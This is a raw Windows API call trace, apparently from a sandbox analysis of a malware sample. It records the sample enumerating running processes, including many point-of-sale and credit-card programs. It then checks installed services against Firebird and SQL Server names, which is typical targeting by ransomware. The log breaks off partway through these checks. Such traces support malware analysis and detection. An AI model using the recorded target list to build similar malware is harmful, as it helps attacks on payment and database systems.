[0150.729] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0150.729] lstrlenW (lpString="trillian.exe") returned 12 [0150.729] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0150.730] lstrlenW (lpString="webdrive.exe") returned 12 [0150.730] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0150.914] lstrlenW (lpString="whatsapp.exe") returned 12 [0150.914] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0150.915] lstrlenW (lpString="winscp.exe") returned 10 [0150.915] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0150.915] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0150.916] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0150.916] lstrlenW (lpString="active-charge.exe") returned 17 [0150.917] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0150.917] lstrlenW (lpString="accupos.exe") returned 11 [0150.917] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0150.918] lstrlenW (lpString="afr38.exe") returned 9 [0150.918] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0150.918] lstrlenW (lpString="aldelo.exe") returned 10 [0150.918] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0150.919] lstrlenW (lpString="ccv_server.exe") returned 14 [0150.919] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0150.920] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0150.920] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0150.920] lstrlenW (lpString="creditservice.exe") returned 17 [0150.920] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0150.921] lstrlenW (lpString="edcsvr.exe") returned 10 [0150.921] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0150.921] lstrlenW (lpString="fpos.exe") returned 8 [0150.922] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0150.924] lstrlenW (lpString="isspos.exe") returned 10 [0150.924] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0150.925] lstrlenW (lpString="mxslipstream.exe") returned 16 [0150.925] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0150.925] lstrlenW (lpString="omnipos.exe") returned 11 [0150.925] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0150.926] lstrlenW (lpString="spcwin.exe") returned 10 [0150.926] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0150.927] lstrlenW (lpString="spgagentservice.exe") returned 19 [0150.927] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0150.927] lstrlenW (lpString="utg2.exe") returned 8 [0150.928] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0150.928] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0150.928] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0150.929] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0150.929] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.929] lstrlenW (lpString="svchost.exe") returned 11 [0150.929] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0150.930] lstrlenW (lpString="taskhostw.exe") returned 13 [0150.930] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0150.930] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0150.930] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0150.931] lstrlenW (lpString="conhost.exe") returned 11 [0150.931] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0150.931] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0150.932] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0150.932] lstrlenW (lpString="conhost.exe") returned 11 [0150.932] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0150.933] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0150.933] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0150.933] lstrlenW (lpString="powershell.exe") returned 14 [0150.933] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0150.934] lstrlenW (lpString="conhost.exe") returned 11 [0150.934] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0150.934] lstrlenW (lpString="TiWorker.exe") returned 12 [0150.934] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0150.935] lstrlenW (lpString="sppsvc.exe") returned 10 [0150.935] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0150.935] lstrlenW (lpString="powershell.exe") returned 14 [0150.935] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0150.936] lstrlenW (lpString="conhost.exe") returned 11 [0150.936] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0150.936] lstrlenW (lpString="taskhostw.exe") returned 13 [0150.936] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0150.937] lstrlenW (lpString="NS2.exe") returned 7 [0150.937] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0150.937] lstrlenW (lpString="conhost.exe") returned 11 [0150.937] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0150.938] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0150.938] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0150.938] lstrlenW (lpString="dllhost.exe") returned 11 [0150.938] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0150.939] lstrlenW (lpString="winhost.exe") returned 11 [0150.939] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0150.939] lstrlenW (lpString="cmd.exe") returned 7 [0150.939] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0150.940] lstrlenW (lpString="conhost.exe") returned 11 [0150.940] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0150.940] CloseHandle (hObject=0x330) returned 1 [0150.940] Sleep (dwMilliseconds=0x1f4) [0151.962] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eefb8 [0151.962] EnumServicesStatusExW (in: hSCManager=0x6eefb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0151.963] GetLastError () returned 0xea [0151.963] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x70ee78 [0151.963] EnumServicesStatusExW (in: hSCManager=0x6eefb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x70ee78, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x70ee78, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0151.964] CloseServiceHandle (hSCObject=0x6eefb8) returned 1 [0151.964] lstrlenW (lpString="Appinfo") returned 7 [0151.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0151.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0151.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0151.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0151.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0151.964] lstrlenW (lpString="AppXSvc") returned 7 [0151.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0151.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0151.964] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0151.964] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0151.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0151.964] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0151.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0151.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0151.964] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0151.964] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0151.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0151.964] lstrlenW (lpString="Audiosrv") returned 8 [0151.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0151.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0151.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0151.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0151.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0151.965] lstrlenW (lpString="BFE") returned 3 [0151.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0151.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0151.965] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0151.965] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0151.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0151.965] lstrlenW (lpString="BITS") returned 4 [0151.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0151.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0151.965] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0151.965] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0151.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0151.965] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0151.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0151.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0151.965] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0151.965] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0151.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0151.965] lstrlenW (lpString="CDPSvc") returned 6 [0151.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0151.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0151.965] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0151.965] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0151.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0151.965] lstrlenW (lpString="ClipSVC") returned 7 [0151.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0151.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0151.965] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0151.965] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0151.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0151.965] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0151.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0151.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0151.965] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0151.965] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0151.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0151.965] lstrlenW (lpString="CryptSvc") returned 8 [0151.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0151.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0151.965] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0151.965] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0151.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0151.965] lstrlenW (lpString="DcomLaunch") returned 10 [0151.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0151.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0151.965] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0151.965] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0151.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0151.965] lstrlenW (lpString="Dhcp") returned 4 [0151.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0151.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0151.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0151.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0151.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0151.965] lstrlenW (lpString="Dnscache") returned 8 [0151.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0151.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0151.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0151.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0151.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0151.966] lstrlenW (lpString="DoSvc") returned 5 [0151.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0151.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0151.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0151.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0151.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0151.966] lstrlenW (lpString="DPS") returned 3 [0151.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0151.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0151.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0151.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0151.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0151.966] lstrlenW (lpString="DusmSvc") returned 7 [0151.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0151.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0151.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0151.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0151.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0151.966] lstrlenW (lpString="EventLog") returned 8 [0151.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0151.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0151.966] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0151.966] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0151.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0151.966] lstrlenW (lpString="EventSystem") returned 11 [0151.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0151.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 